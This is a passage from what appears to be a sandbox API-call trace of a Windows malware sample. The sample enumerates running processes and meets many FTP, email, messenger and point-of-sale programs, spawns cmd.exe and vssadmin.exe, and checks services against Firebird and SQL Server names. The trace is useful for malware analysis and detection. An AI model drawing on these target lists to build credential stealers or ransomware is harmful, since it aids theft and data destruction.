th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0068.180] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0068.180] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0068.181] lstrlenW (lpString="curve standing.exe") returned 18 [0068.181] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0068.182] lstrlenW (lpString="3dftp.exe") returned 9 [0068.182] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0068.183] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0068.183] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0068.184] lstrlenW (lpString="alftp.exe") returned 9 [0068.184] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0068.185] lstrlenW (lpString="barca.exe") returned 9 [0068.185] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0068.345] lstrlenW (lpString="bitkinex.exe") returned 12 [0068.345] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0068.346] lstrlenW (lpString="coreftp.exe") returned 11 [0068.346] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0068.347] lstrlenW (lpString="far.exe") returned 7 [0068.347] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0068.348] lstrlenW (lpString="filezilla.exe") returned 13 [0068.348] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0068.349] lstrlenW (lpString="flashfxp.exe") returned 12 [0068.349] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0068.350] lstrlenW (lpString="fling.exe") returned 9 [0068.350] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0068.351] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0068.352] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0068.353] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0068.353] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0068.354] lstrlenW (lpString="icq.exe") returned 7 [0068.354] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0068.356] lstrlenW (lpString="leechftp.exe") returned 12 [0068.356] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0068.357] lstrlenW (lpString="ncftp.exe") returned 9 [0068.357] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0068.360] lstrlenW (lpString="notepad.exe") returned 11 [0068.360] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0068.361] lstrlenW (lpString="operamail.exe") returned 13 [0068.361] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0068.363] lstrlenW (lpString="pidgin.exe") returned 10 [0068.363] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0068.365] lstrlenW (lpString="scriptftp.exe") returned 13 [0068.365] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0068.367] lstrlenW (lpString="skype.exe") returned 9 [0068.367] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0068.368] lstrlenW (lpString="smartftp.exe") returned 12 [0068.368] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0068.370] lstrlenW (lpString="thunderbird.exe") returned 15 [0068.370] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0068.371] lstrlenW (lpString="totalcmd.exe") returned 12 [0068.371] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0068.373] lstrlenW (lpString="trillian.exe") returned 12 [0068.373] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0068.374] lstrlenW (lpString="webdrive.exe") returned 12 [0068.374] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0068.376] lstrlenW (lpString="whatsapp.exe") returned 12 [0068.376] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0068.377] lstrlenW (lpString="winscp.exe") returned 10 [0068.377] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0068.379] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0068.379] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0068.381] lstrlenW (lpString="active-charge.exe") returned 17 [0068.381] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0068.382] lstrlenW (lpString="accupos.exe") returned 11 [0068.382] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0068.384] lstrlenW (lpString="afr38.exe") returned 9 [0068.384] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0068.385] lstrlenW (lpString="aldelo.exe") returned 10 [0068.385] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0068.386] lstrlenW (lpString="ccv_server.exe") returned 14 [0068.386] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0068.388] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0068.388] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0068.961] lstrlenW (lpString="creditservice.exe") returned 17 [0068.961] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0068.962] lstrlenW (lpString="edcsvr.exe") returned 10 [0068.962] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0068.964] lstrlenW (lpString="fpos.exe") returned 8 [0068.964] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0068.965] lstrlenW (lpString="isspos.exe") returned 10 [0068.965] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0068.966] lstrlenW (lpString="mxslipstream.exe") returned 16 [0068.966] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0068.967] lstrlenW (lpString="omnipos.exe") returned 11 [0068.967] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0068.969] lstrlenW (lpString="spcwin.exe") returned 10 [0068.969] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0068.970] lstrlenW (lpString="spgagentservice.exe") returned 19 [0068.970] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0068.971] lstrlenW (lpString="utg2.exe") returned 8 [0068.971] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0068.972] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0068.972] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0068.974] lstrlenW (lpString="increases.exe") returned 13 [0068.974] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.975] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.975] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.976] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.976] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0068.977] lstrlenW (lpString="driver.exe") returned 10 [0068.977] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.978] lstrlenW (lpString="cmd.exe") returned 7 [0068.978] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.980] lstrlenW (lpString="conhost.exe") returned 11 [0068.980] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0068.981] lstrlenW (lpString="vssadmin.exe") returned 12 [0068.981] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0068.982] lstrlenW (lpString="VSSVC.exe") returned 9 [0068.982] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.983] lstrlenW (lpString="svchost.exe") returned 11 [0068.984] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0068.984] CloseHandle (hObject=0x214) returned 1 [0068.984] Sleep (dwMilliseconds=0x1f4) [0069.645] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0318 [0069.645] EnumServicesStatusExW (in: hSCManager=0x35f0318, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0069.646] GetLastError () returned 0xea [0069.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x142e) returned 0x3fc5890 [0069.646] EnumServicesStatusExW (in: hSCManager=0x35f0318, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc5890, cbBufSize=0x142e, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc5890, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0069.647] CloseServiceHandle (hSCObject=0x35f0318) returned 1 [0069.647] lstrlenW (lpString="Appinfo") returned 7 [0069.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0069.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0069.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0069.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0069.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0069.647] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0069.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.647] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0069.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0069.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0069.648] lstrlenW (lpString="AudioSrv") returned 8 [0069.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0069.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0069.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0069.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0069.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0069.648] lstrlenW (lpString="BFE") returned 3 [0069.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0069.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0069.648] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0069.648] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0069.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0069.648] lstrlenW (lpString="CryptSvc") returned 8 [0069.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0069.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0069.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0069.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0069.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0069.648] lstrlenW (lpString="CscService") returned 10 [0069.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0069.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0069.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0069.649] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0069.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0069.649] lstrlenW (lpString="DcomLaunch") returned 10 [0069.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0069.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0069.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0069.649] lstrlenW (lpString="Dhcp") returned 4 [0069.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0069.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0069.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0069.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0069.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0069.649] lstrlenW (lpString="Dnscache") returned 8 [0069.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0069.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0069.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0069.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0069.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0069.650] lstrlenW (lpString="DPS") returned 3 [0069.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0069.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0069.650] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0069.650] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0069.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0069.650] lstrlenW (lpString="eventlog") returned 8 [0069.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0069.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0069.650] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0069.650] lstrcmpiW 